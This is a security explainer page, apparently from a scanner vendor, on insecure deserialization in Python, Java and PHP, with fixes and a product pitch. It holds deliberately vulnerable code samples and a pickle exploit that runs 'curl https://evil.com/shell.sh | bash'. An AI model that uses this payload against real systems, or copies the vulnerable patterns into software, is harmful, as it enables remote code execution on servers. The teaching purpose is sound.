All vulnerabilities
HighA08:2021CWE-502Software & Data Integrity

Insecure Deserialization

Insecure deserialization allows attackers to tamper with serialized objects to achieve remote code execution, authentication bypass, or denial of service by exploiting language-specific deserialization gadget chains.

What Is Insecure Deserialization?

Deserialization is the process of converting serialized data (bytes or strings) back into objects. When applications deserialize untrusted user input, attackers can craft malicious serialized payloads that trigger unintended code execution during the deserialization process — known as "gadget chains."

How It Works

Python pickle:

# Vulnerable — deserializing user-supplied data with pickle
import pickle
import base64
 
@app.post("/load-session")
def load_session(data: str):
    session = pickle.loads(base64.b64decode(data))  # RCE!
    return session

Attacker crafts a malicious pickle payload:

import pickle, os, base64
 
class Exploit(object):
    def __reduce__(self):
        return (os.system, ("curl https://evil.com/shell.sh | bash",))
 
payload = base64.b64encode(pickle.dumps(Exploit())).decode()

Sending this payload executes the shell command on the server during deserialization.

Java deserialization (Apache Commons Collections gadget):

// Vulnerable — ObjectInputStream with untrusted input
ObjectInputStream ois = new ObjectInputStream(request.getInputStream());
Object obj = ois.readObject();  // Triggers gadget chain if malicious

Magic bytes AC ED 00 05 in the request body indicate Java serialized data.

PHP unserialize:

// Vulnerable — $_COOKIE or $_POST used directly
$user = unserialize($_COOKIE['user_data']);  // PHP object injection

Real-World Impact

  • Remote Code Execution — the most direct path to full server compromise
  • Authentication bypass — tamper with serialized user roles or permissions
  • DoS — malformed objects crash the deserializer or exhaust memory
  • Privilege escalation — change is_admin=false to is_admin=true in serialized session

How to Fix

Never deserialize untrusted input:

# Instead of pickle, use JSON for session data
import json
 
@app.post("/load-session")
def load_session(data: str):
    session = json.loads(data)  # JSON has no code execution capability
    return session

If deserialization is required, use integrity checks:

import hmac, hashlib, pickle, base64
 
SECRET = os.environ["SESSION_SECRET"]
 
def serialize(obj: dict) -> str:
    data = base64.b64encode(pickle.dumps(obj)).decode()
    sig = hmac.new(SECRET.encode(), data.encode(), hashlib.sha256).hexdigest()
    return f"{data}.{sig}"
 
def deserialize(token: str) -> dict:
    data, sig = token.rsplit(".", 1)
    expected = hmac.new(SECRET.encode(), data.encode(), hashlib.sha256).hexdigest()
    if not hmac.compare_digest(sig, expected):
        raise ValueError("Invalid signature")
    return pickle.loads(base64.b64decode(data))

Java — use serialization filters (JEP 290) to allowlist permitted classes.

PHP — avoid unserialize() entirely; use JSON.

What VibeWShield Detects

VibeWShield checks for Content-Type: application/x-java-serialized-object headers and submits PHP serialized payloads and base64-encoded Java magic bytes to JSON endpoints. It also performs passive analysis of response patterns indicating deserialization errors.

#deserialization#rce#java#python#php

Free security scan

Test your app for Insecure Deserialization

VibeWShield automatically checks for Insecure Deserialization and 40+ other vulnerabilities using 63 scanners — in under 3 minutes, no signup required.

Scan your app free